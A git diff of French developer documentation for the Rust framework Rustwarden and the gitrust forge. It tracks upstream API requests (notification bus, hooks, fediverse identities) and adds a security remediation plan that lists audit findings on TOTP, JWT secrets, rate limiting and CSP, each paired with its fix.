| 434 | +**Status** : Implemente dans Phase 6 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 435 | + | |
| 436 | +Livre : | |
| 437 | +- Trait [`NotificationBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) generique avec `publish` et `subscribe(filter)`. | |
| 438 | +- Impl par defaut [`InMemoryBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) basee sur `tokio::sync::broadcast` — slow consumer drop proprement via `BroadcastStream::filter_map`, publisher ne panique pas sur receiver drop. | |
| 439 | +- Helper axum [`sse::sse_response`](../crates/rustwarden-core/src/notifications/sse.rs) avec `KeepAlive(30s)` + JSON serialisation + drop silencieux des events non serialisables. | |
| 440 | +- 7 tests (no-subscriber noop, delivery, multi-subscribers, filter, drop-safe, lag handling, sse response integration). | |
| 441 | +- Feature `redis-bus` documentee comme extension v2 (hors scope v1). | |
| 442 | + | |
| 443 | +--- | |
| 444 | + | |
| 445 | +### 7bis. Details historiques (avant resolution) | |
| 446 | + | |
| 447 | +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-async-worker.md`). | |
| 448 | + | |
| 449 | +**Contexte** : plusieurs fonctionnalites gitrust necessitent de pousser des evenements temps reel au navigateur via Server-Sent Events : | |
| 450 | +- Barre de progression d'import de repo (`GET /imports/:id/stream`). | |
| 451 | +- Notifications CI (deja en prod cote gitrust — Phase 5). | |
| 452 | +- Futurs besoins : live logs push/receive-pack, notifications d'issue/PR. | |
| 453 | + | |
| 454 | +**Limitation du framework** : aucun bus de notifications dans rustwarden-core. Le plan initial de l'import async evoquait "reutiliser `sse_broadcaster` framework" — c'etait une supposition erronee (verification grep : aucun `broadcast::`, aucun `axum::response::sse`, aucun `Sse::new` dans `crates/rustwarden-core/`). | |
| 455 | + | |
| 456 | +**Workaround actuel cote gitrust** : bus SSE existe cote gitrust pour la Phase 5 (notifications + CI live logs). Emplacement a verifier (probable `crates/gitrust-web/src/sse.rs` ou `crates/gitrust-core/src/notifications/`). L'import async-worker viendrait republier dessus ses `ImportProgress { job_id, received_bytes, total_bytes, phase }`. | |
| 457 | + | |
| 458 | +**Proposition upstream** : trait generique `NotificationBus<T>` dans le framework avec impl in-memory par defaut. | |
| 459 | + | |
| 460 | +```rust | |
| 461 | +#[async_trait] | |
| 462 | +pub trait NotificationBus<T: Clone + Send + Sync + 'static>: Send + Sync { | |
| 463 | + /// Publie a tous les abonnes matchant le filtre. | |
| 464 | + async fn publish(&self, event: T); | |
| 465 | + | |
| 466 | + /// Souscrit avec filtre. Retourne un flux tokio-stream. | |
| 467 | + fn subscribe(&self, filter: impl Fn(&T) -> bool + Send + Sync + 'static) | |
| 468 | + -> Pin<Box<dyn Stream<Item = T> + Send>>; | |
| 469 | +} | |
| 470 | + | |
| 471 | +pub struct InMemoryBus<T> { tx: broadcast::Sender<T> } | |
| 472 | +impl<T: Clone + Send + Sync + 'static> NotificationBus<T> for InMemoryBus<T> { ... } | |
| 473 | + | |
| 474 | +// Helper axum pour convertir une souscription en reponse SSE | |
| 475 | +pub fn sse_response<T: Serialize>(stream: impl Stream<Item = T>) -> Sse<impl Stream<...>>; | |
| 476 | +``` | |
| 477 | + | |
| 478 | +Feature optionnelle `redis-bus` pour impl multi-instance. | |
| 479 | + | |
| 480 | +**Pros** : reutilisable par toutes les apps (gitrust import/CI, PasterMan wall updates). Le helper `sse_response` encapsule `KeepAlive` + serialisation JSON + gestion deconnexion (boilerplate aujourd'hui repete). | |
| 481 | +**Cons** : generique `T` complique (certains consommateurs voudront un bus global heterogene — alternative : `NotificationBus<serde_json::Value>` avec `event_type` tag). Impl Redis feature-gated pour eviter de tirer la dep. | |
| 482 | + | |
| 483 | +**Criteres d'acceptation** : | |
| 484 | +- [ ] Trait `NotificationBus<T>` + impl `InMemoryBus` sur `tokio::sync::broadcast`. | |
| 485 | +- [ ] Helper `sse_response(stream)` produisant `axum::response::sse::Sse` avec `KeepAlive` (30s par defaut). | |
| 486 | +- [ ] Gestion de la deconnexion client : le stream drop ne doit pas faire paniquer le publisher. | |
| 487 | +- [ ] Tests : publish + multiple subscribers + filter discriminant + lag handling (broadcast `Lagged`). | |
| 488 | +- [ ] Doc inline avec exemple complet (worker publie, handler souscrit, client JS `EventSource`). | |
| 489 | + | |
| 490 | +**Migration cote gitrust apres merge** : | |
| 491 | +1. Bump `rustwarden-core`. | |
| 492 | +2. Remplacer le bus gitrust local par `InMemoryBus<NotificationEvent>` framework. | |
| 493 | +3. Remplacer les handlers SSE custom par `sse_response(bus.subscribe(filter))`. | |
| 494 | +4. Publier `ImportProgress` sur le bus depuis `import_worker`. | |
| 495 | + | |
| 496 | +### ~~8. Hooks `RustwardenHooks` — manquent audit generique + team events + resource lifecycle~~ — RESOLU 2026-04-22 | |
| 497 | + | |
| 498 | +**Status** : Implemente dans Phase 3 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 499 | + | |
| 500 | +Ajoutes avec impl par defaut no-op (backwards-compatible) : | |
| 501 | +- `on_resource_registered(db, resource_type, resource_id, owner_id)` | |
| 502 | +- `on_resource_unregistered(db, resource_type, resource_id)` | |
| 503 | +- `on_team_created(db, team_id, owner_id)` / `on_team_deleted(db, team_id)` | |
| 504 | +- `on_team_member_added(db, team_id, user_id)` / `on_team_member_removed(db, team_id, user_id)` | |
| 505 | +- `on_audit_event(db, AuditEvent { kind, actor_id, target, metadata })` — generique | |
| 506 | + | |
| 507 | +`AuthLoggingService::log_blocked_login` emet maintenant un `AuditEvent { kind: "auth.login_blocked" }` quand des hooks sont cables. Tests d'integration DB vert (5 tests). | |
| 508 | + | |
| 509 | +--- | |
| 510 | + | |
| 511 | +### 8bis. Details historiques (avant resolution) | |
| 512 | + | |
| 513 | +**Date de detection** : 2026-04-21 (inventaire dette technique — LOTs 12/13 Issues/PR). | |
| 514 | +**Revision** : 2026-04-22 — audit du code a revele que le trait expose deja 12 hooks (et non 4 comme ecrit initialement). La proposition est recentree sur les vrais manques. | |
| 515 | + | |
| 516 | +**Etat actuel** : [`RustwardenHooks`](../crates/rustwarden-core/src/hooks.rs) expose deja 12 evenements : | |
| 517 | +- User lifecycle : `on_user_registered`, `on_user_login`, `on_user_logout`, `on_user_deleted` | |
| 518 | +- Credentials : `on_password_changed`, `on_email_verified`, `on_totp_enabled`, `on_totp_disabled`, `on_oauth_login` | |
| 519 | +- RBAC : `on_role_changed` | |
| 520 | +- Resources : `on_resource_shared`, `on_resource_unshared` | |
| 521 | + | |
| 522 | +**Manques reels** pour les futurs LOTs gitrust (Issues, Pull Requests, Teams) et pour tout audit transverse, les consommateurs veulent : | |
| 523 | +- Un hook generique `on_audit_event(kind, actor, target, metadata)` pour centraliser la logique de log/notification/indexation sans polluer chaque service. | |
| 524 | +- Des hooks cibles `on_team_created`, `on_team_deleted`, `on_team_member_added`, `on_team_member_removed` (prerequis du gap-5). | |
| 525 | +- Un hook `on_resource_registered` / `on_resource_unregistered` (gitrust-hooks loggue deja pour "repository" sans hook : code plus propre avec un hook). | |
| 526 | + | |
| 527 | +**Limitation du framework** : le trait est ferme par design (pas de methode par defaut pour les nouveaux variants sans casser les implementeurs). | |
| 528 | + | |
| 529 | +**Workaround actuel cote gitrust** : | |
| 530 | +- Pour les evenements sensibles : appel direct a [`AuthLoggingService::log_*`](../crates/rustwarden-core/src/services/auth_logging_service.rs) depuis les handlers (pattern deja en place pour ban manuel, acl add). | |
| 531 | +- Pour les Issues/PR : prevoir des hooks **gitrust-locaux** (`GitrustHooks` trait dans `gitrust-core`) sans modifier le framework. Cout : fragmentation (deux systemes de hooks coexistants). | |
| 532 | + | |
| 533 | +**Proposition upstream** : evoluer `RustwardenHooks` en deux temps. | |
| 534 | + | |
| 535 | +**Phase A** — ajouter les hooks manquants avec impl par defaut `async { Ok(()) }` (backwards-compatible) : | |
| 536 | + | |
| 537 | +```rust | |
| 538 | +#[async_trait] | |
| 539 | +pub trait RustwardenHooks: Send + Sync { | |
| 540 | + // Existants | |
| 541 | + async fn on_user_registered(&self, user: &UserRecord) -> Result<()> { Ok(()) } | |
| 542 | + async fn on_user_deleted(&self, user_id: Uuid) -> Result<()> { Ok(()) } | |
| 543 | + async fn on_resource_shared(&self, rt: &str, rid: Uuid, target: Uuid, perm: &str) -> Result<()> { Ok(()) } | |
| 544 | + async fn on_resource_unshared(&self, rt: &str, rid: Uuid, target: Uuid) -> Result<()> { Ok(()) } | |
| 545 | + | |
| 546 | + // Nouveaux | |
| 547 | + async fn on_resource_registered(&self, rt: &str, rid: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) } | |
| 548 | + async fn on_resource_unregistered(&self, rt: &str, rid: Uuid) -> Result<()> { Ok(()) } | |
| 549 | + async fn on_team_created(&self, team_id: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) } | |
| 550 | + async fn on_team_deleted(&self, team_id: Uuid) -> Result<()> { Ok(()) } | |
| 551 | + async fn on_team_member_added(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) } | |
| 552 | + async fn on_team_member_removed(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) } | |
| 553 | + | |
| 554 | + // Generique (escape hatch pour evenements custom) | |
| 555 | + async fn on_audit_event(&self, event: AuditEvent<'_>) -> Result<()> { Ok(()) } | |
| 556 | +} | |
| 557 | + | |
| 558 | +pub struct AuditEvent<'a> { | |
| 559 | + pub kind: &'a str, // ex. "issue.created", "pr.merged" | |
| 560 | + pub actor_id: Option<Uuid>, | |
| 561 | + pub target: Option<(&'a str, Uuid)>, // (resource_type, resource_id) | |
| 562 | + pub metadata: &'a serde_json::Value, | |
| 563 | +} | |
| 564 | +``` | |
| 565 | + | |
| 566 | +**Phase B** (optionnelle) — cabler `AuthLoggingService::log_*` pour appeler aussi `on_audit_event` afin que les consommateurs puissent brancher du monitoring sans reecrire la liaison. | |
| 567 | + | |
| 568 | +**Pros** : backwards-compatible (methodes par defaut). `on_audit_event` offre un escape hatch pour les LOTs gitrust (Issues, PR) sans forcer a ajouter un hook framework pour chaque type d'evenement. Prepare le terrain pour le gap-5 (TeamService). | |
| 569 | +**Cons** : proliferation de methodes dans le trait (11 methodes a terme). Alternative : un seul `on_event(event: FrameworkEvent<'_>)` avec enum exhaustif — mais bloque les consommateurs sur l'enum framework. | |
| 570 | + | |
| 571 | +**Criteres d'acceptation** : | |
| 572 | +- [ ] Nouveaux hooks ajoutes avec `async { Ok(()) }` par defaut (`gitrust-hooks` existant compile sans modif). | |
| 573 | +- [ ] `AuditEvent<'_>` documente avec 2-3 exemples d'usage. | |
| 574 | +- [ ] `AuthLoggingService::log_*` appelle `on_audit_event` (phase B). | |
| 575 | +- [ ] Tests : impl vide compile, impl complete recoit bien chaque variant, erreur dans hook est propagee. | |
| 576 | + | |
| 577 | +**Migration cote gitrust apres merge** : | |
| 578 | +1. Bump `rustwarden-core`. | |
| 579 | +2. `gitrust-hooks` implemente `on_resource_registered` (replace la logique actuelle qui filtre par `resource_type == "repository"`). | |
| 580 | +3. Implementer `on_team_*` quand LOT 14 arrive. | |
| 581 | +4. Utiliser `on_audit_event` pour les Issues/PR (LOTs 12/13) au lieu de creer un `GitrustHooks` local. | |
| 582 | + | |
| 583 | +--- | |
| 584 | + | |
| 585 | +## 9. Federation ActivityPub — RFCs gitrust soumises upstream | |
| 586 | + | |
| 587 | +Section ajoutee 2026-05-16 suite a l'integration fediverse cote gitrust (Lot 2 du plan [`docs/plans/2026-05-15-fediverse-integration-gitrust.md`](plans/2026-05-15-fediverse-integration-gitrust.md)). Quatre propositions soumises, toutes resolues upstream. | |
| 588 | + | |
| 589 | +### ~~9.1 Partage de ressource avec une identite remote~~ — RESOLU 2026-05-15 (RFC upstream 0029) | |
| 590 | + | |
| 591 | +**RFC gitrust** : [docs/rfcs/0001-fediverse-remote-resource-shares.md](rfcs/0001-fediverse-remote-resource-shares.md). Score 33/35. | |
| 592 | + | |
| 593 | +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService` + nouvelle table `fediverse_resource_shares` (migration `m20260516_000002_remote_resource_shares`). | |
| 594 | + | |
| 595 | +**API a consommer cote gitrust** : | |
| 596 | +```rust | |
| 597 | +use rustwarden_core::identity::Identity; | |
| 598 | +use rustwarden_core::services::resource_service::ResourceService; | |
| 599 | +use rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService; | |
| 600 | + | |
| 601 | +let level = match identity { | |
| 602 | + Identity::Local(uid) => ResourceService::effective_permission_for_user(&db, uid, "repo", repo_id).await?, | |
| 603 | + Identity::Remote(rid) => RemoteResourceShareService::effective_permission_for_remote_identity(&db, "repo", repo_id, rid).await?, | |
| 604 | +}; | |
| 605 | +``` | |
| 606 | + | |
| 607 | +**A consommer** : Lot 5.1 du plan fediverse, quand on activera le scenario "collaborateurs repo cross-instance". | |
| 608 | + | |
| 609 | +### ~~9.2 Personal Access Tokens pour identites remote~~ — RESOLU 2026-05-15 (RFC upstream 0030) | |
| 610 | + | |
| 611 | +**RFC gitrust** : [docs/rfcs/0002-fediverse-remote-personal-access-tokens.md](rfcs/0002-fediverse-remote-personal-access-tokens.md). Score 34/35. | |
| 612 | + | |
| 613 | +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_personal_access_token_service::RemotePersonalAccessTokenService<S>` + table `fediverse_personal_access_tokens` (migration `m20260516_000003_remote_pat`). Prefixe token distinct : `rwfed_pat_<64 hex>`. | |
| 614 | + | |
| 615 | +**API a consommer cote gitrust** (Lot 5.3 du plan fediverse) : | |
| 616 | +```rust | |
| 617 | +// Discrimination par prefixe : | |
| 618 | +if plaintext.starts_with("rwfed_pat_") { | |
| 619 | + RemotePersonalAccessTokenService::<GitrustScope>::verify(&db, &plaintext).await? | |
| 620 | + .map(|(m, s)| (Identity::Remote(m.remote_identity_id), s)) | |
| 621 | +} else { | |
| 622 | + PersonalTokenService::<GitrustScope>::verify(&db, &plaintext).await? | |
| 623 | + .ok() | |
| 624 | + .map(|(m, s)| (Identity::Local(m.user_id), s)) | |
| 625 | +} | |
| 626 | +``` | |
| 627 | + | |
| 628 | +### ~~9.3 Membership de team avec une identite remote~~ — RESOLU 2026-05-15 (approche alternative upstream) | |
| 629 | + | |
| 630 | +**RFC gitrust** : [docs/rfcs/0003-fediverse-remote-team-memberships.md](rfcs/0003-fediverse-remote-team-memberships.md). Score 33/35. **Statut** : superseded. | |
| 631 | + | |
| 632 | +**Decision upstream** : la RFC 0003 a ete **rejetee dans sa forme initiale** (table separee `fediverse_team_memberships`) au profit d'une **approche pragmatique alternative** : | |
| 633 | + | |
| 634 | +- **Migration `m20260510_000016` framework** : `team_members.user_id` rendu NULLABLE + PK historique `(team_id, user_id)` remplacee par PK synthetique `id: Uuid`. | |
| 635 | +- **Migration `m20260510_000015` framework** : nouvel index partial unique `team_members_remote_unique` sur `(team_id, remote_identity_id) WHERE remote_identity_id IS NOT NULL`. | |
| 636 | +- **API `TeamService::add_member_identity(db, team_id, identity: Identity, role, hooks)`** Identity-aware : pour `Identity::Local` delegue a `add_member` ; pour `Identity::Remote` insere une row avec `user_id = NULL` et `remote_identity_id = Some(rid)`. Declenche `on_team_member_added` dans les deux cas. | |
| 637 | +- **`FediverseInviteService::accept(db, invite_id, remote_id)`** materialise effectivement la membership a l'acceptation d'une invite cross-instance (auparavant silent no-op de la RFC 0014). | |
| 638 | +- **`FediverseSignalService::apply_revoke_membership(db, team_id, remote_id)`** drop la row team_members correspondante quand un `Revoke{Membership}` AP entre. | |
| 639 | + | |
| 640 | +**Argument upstream** : pour les memberships, la semantique `team ↔ identity` est identique peu importe la nature du principal — donc l'extension de la table existante est plus pragmatique que la creation d'une table separee (comme pour resource_shares et PAT, ou la semantique d'ownership remote est distincte). | |
| 641 | + | |
| 642 | +**Contournement applique cote gitrust** : aucun. **Consommer directement l'API upstream** : | |
| 643 | +```rust | |
| 644 | +// Ajouter une identite (locale OU remote) a une team : | |
| 645 | +TeamService::add_member_identity( | |
| 646 | + &db, team_id, Identity::Remote(remote_identity_id), role, &hooks, | |
| 647 | +).await?; | |
| 648 | + | |
| 649 | +// Lister tous les membres (locaux + remote en une requete) : | |
| 650 | +let members = TeamService::list_members(&db, team_id).await?; | |
| 651 | +// Chaque team_member::Model expose user_id: Option<Uuid> + remote_identity_id: Option<Uuid> | |
| 652 | +``` | |
| 653 | + | |
| 654 | +**Audit obligatoire** : la migration `m20260510_000016` a rendu `team_members.user_id` NULLABLE. **Toute requete SQL gitrust qui supposait `user_id NOT NULL` doit etre corrigee**. Verifie au Lot 0 : | |
| 655 | +- [crates/gitrust-web/src/handlers/user_teams.rs:411, 416, 478](../crates/gitrust-web/src/handlers/user_teams.rs) — skip-and-continue les remote. | |
| 656 | +- [crates/gitrust-web/src/handlers/admin_teams.rs:164, 169](../crates/gitrust-web/src/handlers/admin_teams.rs) — idem. | |
| 657 | +- [crates/gitrust-web/src/handlers/user_teams.rs:49, 365](../crates/gitrust-web/src/handlers/user_teams.rs) — `find_by_id((tuple))` → `find().filter().filter()` (PK synthetique). | |
| 658 | + | |
| 659 | +**A finaliser** : Lot 5.4 du plan fediverse — adapter `RepositoryService::effective_role_via_teams_for_identity` cote gitrust-core pour interroger `team_members` avec un filtre `user_id OR remote_identity_id` selon l'`Identity` presentee. | |
| 660 | + | |
| 661 | +### ~~9.4 `AuthService` optional-auth fallback `AuthConfig::from_env()`~~ — RESOLU 2026-05-16 (RFC upstream 0031) | |
| 662 | + | |
| 663 | +**RFC gitrust** : [docs/rfcs/0031-auth-service-optional-fallback.md](rfcs/0031-auth-service-optional-fallback.md). Score 34/35. | |
| 664 | + | |
| 665 | +**Probleme** : la branche "optional auth" du middleware `AuthService` ne faisait pas le fallback `AuthConfig::from_env()` quand `Extension(Arc<AuthConfig>)` etait absent des request.extensions (cas typique selon l'ordre des layers tower). Resultat : claims jamais injectes pour les routes hors `protected_prefixes` (e.g. `/dashboard`), redirect silencieux vers `/login` malgre un cookie JWT valide. | |
| 666 | + | |
| 667 | +**Solution upstream** : alignement de la branche optional avec la branche protected — fallback `AuthConfig::from_env()` ajoute. Cf. [auth_service.rs:331](../crates/rustwarden-core/src/middleware/auth_service.rs#L331) "RFC 0031: mirror the protected branch fallback...". | |
| 668 | + | |
| 669 | +**Contournement applique cote gitrust** : prefixes reenregistres en 2026-09-17 (audit F-AUTH / plan A3) dans `src/main.rs` : `/dashboard`, `/settings`, `/teams`, `/notifications`, `/new`, `/imports`. A conserver jusqu'au merge du RFC A3 + `update-project`. | |
| 670 | + | |
| 671 | +--- | |
| 672 | + | |
| 673 | +## Catalogue audit securite 2026-09-17 (PRs / RFC rustwarden) | |
| 674 | + | |
| 675 | +Frontiere : **ne jamais patcher `crates/rustwarden-core/`**. Chaque gap ci-dessous a un workaround Gitrust deja en place. Ouvrir les tickets dans le depot Rustwarden (`~/Documents/devel/Rustwarden`), puis `update-project`. | |
| 676 | + | |
| 677 | +### PRs Security (pas de RFC — bug interne ou liste de hardening) | |
| 678 | + | |
| 679 | +| ID | Constat | Action upstream | Workaround Gitrust | | |
| 680 | +|----|---------|-----------------|--------------------| | |
| 681 | +| E-3 | Anti-brute-force TOTP compte les challenges, pas les essais | Sommer `attempts` sur 15 min, plafond global (ex. 15) | Rate-limit `totp:<user>` + IP sur `POST /login/2fa` | | |
| 682 | +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` absent de `KNOWN_EXAMPLES` | Ajouter le marqueur Gitrust (et variantes CHANGE/EXAMPLE/TODO) a `KNOWN_EXAMPLES` dans `config/auth.rs` | Garde `reject_placeholder_jwt_secret()` dans `src/main.rs` | | |
| 683 | +| M-3 | Rate limit email inerte (nouvelle instance par requete) | Limiteur partagé (static / injecté) pour `PasswordResetService` / `EmailValidationService` | `OnceLock<PasswordResetService>` + limiteur IP | | |
| 684 | +| M-8 | `bcrypt::verify` synchrone sur backup codes | `spawn_blocking` + comparaison sans court-circuit | Couvert par le rate-limit TOTP | | |
| 685 | +| M-2 | `PasswordResetService::reset_password` n'appelle pas la complexité | Appeler `validate_password_complexity` dans le service (si traité comme bug) | Validation Gitrust avant `hash_password` / reset | | |
| 686 | +| E-12 | bumps `bcrypt` / `rustls` / `h2` | Bump dans le `Cargo.toml` framework | `russh` 0.60.3 cote gitrust-ssh ; audit Dagger `--deny warnings` | | |
| 687 | + | |
| 688 | +### RFC (changement d'API, de defaut, de schema ou de politique de secu) | |
| 689 | + | |
| 690 | +| ID | Constat | Nature RFC | Workaround Gitrust | | |
| 691 | +|----|---------|------------|--------------------| | |
| 692 | +| M-1 | `username` non valide | Validation charset dans `UserService::create_user` + `RegisterRequest` | Newtype `Username` avant tout appel framework | | |
| 693 | +| M-10 | CSP `unsafe-inline` + `unsafe-eval` | Politique de secu par defaut, ou API `security_headers_config` additive | `SetResponseHeaderLayer::overriding` + JS externe | | |
| 694 | +| M-5 | Changement d'email conserve `email_verified` | Flux confirmation + alerte ancienne adresse (schema probable) | Handler profil refuse le changement d'email | | |
| 695 | +| M-7 | Pas d'anti-rejeu TOTP | Colonne `last_used_step` (migration) | `RateLimitService` `totp_code:{user}:{code}` 90 s | | |
| 696 | +| E-4 | `AuthService` ignore `validation_email_required` | Refus par defaut des emails non verifies | Check Gitrust apres `authenticate_user` | | |
| 697 | +| E-2 | Limiteur login seulement sur `/api/v1/auth/login` | Exposer le limiteur aussi sur le canal browser | `OnceLock<RateLimitService>` SSR | | |
| 698 | +| F-UI | En-tetes COOP/CORP | En-tetes securite configurables | Override Gitrust (`same-origin`) | | |
| 699 | + | |
| 700 | +Gitrust n'attend **pas** ces RFC pour se proteger : les workarounds des lots 1–4 ferment les scenarios A–D. | |
| 701 | + | |
| 702 | +--- | |
| 703 | + | |
| 704 | +## Protocole de remontee upstream | |
| 705 | + | |
| 706 | +Quand une amelioration est mergee upstream : | |
| 707 | +1. Ajouter une ligne dans `CHANGELOG.md` cote gitrust : `resolved upstream: <nom>`. | |
| 708 | +2. Supprimer la section correspondante de ce fichier. | |
| 709 | +3. Creer un ticket de migration si necessaire (decompactage du workaround + bump de version). | |
| 710 | + | |
| 711 | +Les sections restent dans ce fichier tant que l'amelioration n'est pas dispo en release stable du framework — c'est la source unique pour eviter d'oublier un workaround actif. |
A
docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md
+1131
-0
@@ -0,0 +1,1131 @@
| 1 | +# Sécurisation upstream Rustwarden — audit Gitrust 2026-09-17 | |
| 2 | + | |
| 3 | +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. | |
| 4 | + | |
| 5 | +**Goal:** Fermer, dans le dépôt framework Rustwarden, tous les constats d’audit qui relèvent de `rustwarden-core` / `rustwarden-ui` / CLI / `database/`, sans toucher à la logique métier forge (Gitrust). | |
| 6 | + | |
| 7 | +**Architecture:** Deux trains distincts. (1) **Patch Security `1.0.1`** : bugs internes, listes de hardening, bumps de deps — aucune RFC, **aucun nouvel item `pub` nommé**, release patch. Inclut un garde anti-rejeu TOTP *in-process* (ferme le Scénario D sans migration). (2) **RFCs 0036–0040** puis implémentation : politique de sécurité, schéma DB, comportement par défaut, persistance multi-instance. Les workarounds Gitrust restent valides jusqu’à `update-project`. | |
| 8 | + | |
| 9 | +**Tech Stack:** Axum 0.8, SeaORM 2.0, bcrypt, totp-rs 5, tower-http, Askama/HTMX/Alpine (CSP), `RateLimitService` in-process. | |
| 10 | + | |
| 11 | +**Sources :** [docs/SECURITY_AUDIT.md](../SECURITY_AUDIT.md), [docs/remediation_audit_securite_ad2eec33.plan.md](../remediation_audit_securite_ad2eec33.plan.md), [docs/UPSTREAM_RUSTWARDEN copy.md](../UPSTREAM_RUSTWARDEN%20copy.md) § catalogue 2026-09-17, [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §2 / §9 / §11.3. | |
| 12 | + | |
| 13 | +**Vérifié sur le code actuel (2026-09-17)** — pas seulement sur l’audit Gitrust. Plusieurs constats Gitrust sont déjà fermés côté UI de référence (`login.html` appelle `POST /api/v1/auth/login`) ; d’autres gaps *non listés* dans le catalogue Gitrust sont confirmés ici (fail-open `force_2fa`, placeholder CLI). | |
| 14 | + | |
| 15 | +--- | |
| 16 | + | |
| 17 | +## RALPLAN-DR (mode délibéré) | |
| 18 | + | |
| 19 | +### Principles | |
| 20 | + | |
| 21 | +1. **Frontière dépôt** : ce plan ne corrige que Rustwarden. C-1 (`sh -c`), C-3 (`merge_pull`), XSS templates forge, russh, CI, nginx Gitrust restent dans Gitrust. | |
| 22 | +2. **Processus §2** : bug interne / bump patch → PR Security. Item `pub`, défaut, migration, politique de sécu → RFC (grille ≥ 25/35) avant le code. | |
| 23 | +3. **Fail-closed** : une erreur d’infra (DB, crypto) ne doit jamais *accorder* un droit (2FA, email vérifié, JWT). | |
| 24 | +4. **Dog-fooding** : les gardes vivent dans les *services*, pas seulement dans les handlers API. Un consommateur qui appelle `UserService` / `AuthService` / `PasswordResetService` hérite de la politique. | |
| 25 | +5. **Non-régression UI** : ne pas retirer `'unsafe-inline'` de la CSP par défaut tant que Alpine CSP n’est pas migré (`docs/plans/PLAN_CSP_HTMX.md`). | |
| 26 | + | |
| 27 | +### Decision Drivers | |
| 28 | + | |
| 29 | +1. **Fermer le Scénario D (2FA)** pour tous les consommateurs, pas seulement Gitrust. | |
| 30 | +2. **Empêcher un déploiement « selon le wizard »** avec secret JWT public (C-7). | |
| 31 | +3. **Ne pas casser les usernames / templates existants** des apps déjà en prod (grandfathering + API additive). | |
| 32 | + | |
| 33 | +### Viable Options | |
| 34 | + | |
| 35 | +**Option A (retenue, synthétisée après revue Architect) — patch Security immédiat qui ferme déjà le Scénario D, puis RFCs.** Un PR `1.0.1` livrable en jours, adoption 14 jours. Le plafond d’essais TOTP + un cache in-process `(user_id, step)` 90 s ferment le brute-force et le rejeu *sur une instance*. La RFC 0037 n’ouvre plus un chantier urgent : elle **persiste** cette garantie en multi-instance. Username, email, CSP restent en RFC. | |
| 36 | + | |
| 37 | +- Pros : Scénario D fermé en 1.0.1 sans migration ; respect du §2 ; Gitrust peut `update-project` tout de suite. | |
| 38 | +- Cons : deux trains de release ; anti-rejeu in-process inopérant en multi-réplica jusqu’à 0037. | |
| 39 | +- **Non-goal explicite :** un relais Evilginx *live* (le code n’est présenté qu’une fois au serveur) n’est arrêté ni par 1.0.1 ni par 0037. Decision Driver 1 = brute-force + rejeu du *même* OTP, pas le MITM interactif. | |
| 40 | + | |
| 41 | +**Option B — une mega-RFC unique « hardening 2026-09 ».** Tous les changements (y compris bugs) derrière une RFC. | |
| 42 | + | |
| 43 | +- Pros : un seul document de décision. | |
| 44 | +- Cons : retarde E-3 / C-7 / M-3 de semaines ; mélange bugs et politique ; score grille dilué. | |
| 45 | + | |
| 46 | +**Option C — ne rien changer au framework, documenter les workarounds.** | |
| 47 | + | |
| 48 | +- Pros : zéro risque de breaking. | |
| 49 | +- Cons : chaque app réimplémente TOTP / JWT / rate-limit ; divergence garantie ; l’audit reviendra. | |
| 50 | + | |
| 51 | +**Invalidation B et C :** B viole §2 (« pas de RFC pour un bug sans changement d’API ») et laisse le Scénario D ouvert. C viole le rôle même du framework (politique de sécu centralisée). | |
| 52 | + | |
| 53 | +--- | |
| 54 | + | |
| 55 | +## Périmètre | |
| 56 | + | |
| 57 | +### Dans ce dépôt (ce plan) | |
| 58 | + | |
| 59 | +| ID audit | Nature | Train | | |
| 60 | +|----------|--------|-------| | |
| 61 | +| *(découvert Architect)* | `check_auth_rate_limit` clé `auth:unknown` : pas de `ConnectInfo`, `TRUSTED_PROXY_HOPS=0` ignore XFF | Patch (prérequis Task 3) | | |
| 62 | +| E-3 | Anti-brute-force TOTP compte les challenges saturés, pas les essais | Patch | | |
| 63 | +| *(synthèse D)* | Rejeu TOTP in-process (90 s, `OnceLock`) sans colonne DB | Patch | | |
| 64 | +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` (36 car.) passe `KNOWN_EXAMPLES` + wizard CLI | Patch | | |
| 65 | +| M-3 | `RateLimitService` recréé à chaque `PasswordResetService::new` / `EmailValidationService::new` | Patch | | |
| 66 | +| M-8 | `bcrypt::verify` synchrone sur backup codes | Patch | | |
| 67 | +| M-2 | `PasswordResetService::reset_password` n’appelle pas `validate_password_complexity` | Patch | | |
| 68 | +| E-12 collatéral | `bcrypt 0.19.0`, `rustls 0.23.37`, `h2 0.4.13` | Patch | | |
| 69 | +| *(découvert)* | `is_totp_enabled(...).unwrap_or(false)` dans le middleware force-2FA | Patch | | |
| 70 | +| *(découvert)* | `POST /api/v1/auth/2fa/verify` sans `check_auth_rate_limit` | Patch | | |
| 71 | +| *(découvert)* | `ensure_default_admin` n’appelle ni `AdminConfig::validate` ni la complexité | Patch | | |
| 72 | +| *(découvert)* | `sanitize_redirect` n’normalise pas `\` | Patch | | |
| 73 | +| E-18 analogue | PG `0.0.0.0:5432` + `POSTGRES_PASSWORD:-pass3ord` | Patch ops | | |
| 74 | +| M-1 | Username = longueur seulement | RFC 0036 | | |
| 75 | +| M-7 | Pas de `last_used_step` TOTP | RFC 0037 | | |
| 76 | +| M-5 | Changement d’email conserve `email_verified` | RFC 0038 | | |
| 77 | +| M-10 + F-UI | CSP `unsafe-inline`/`unsafe-eval` ; pas de COOP/CORP | RFC 0039 | | |
| 78 | +| E-4 | `AuthService::authenticate_user` ignore `validation_email_required` | RFC 0040 | | |
| 79 | + | |
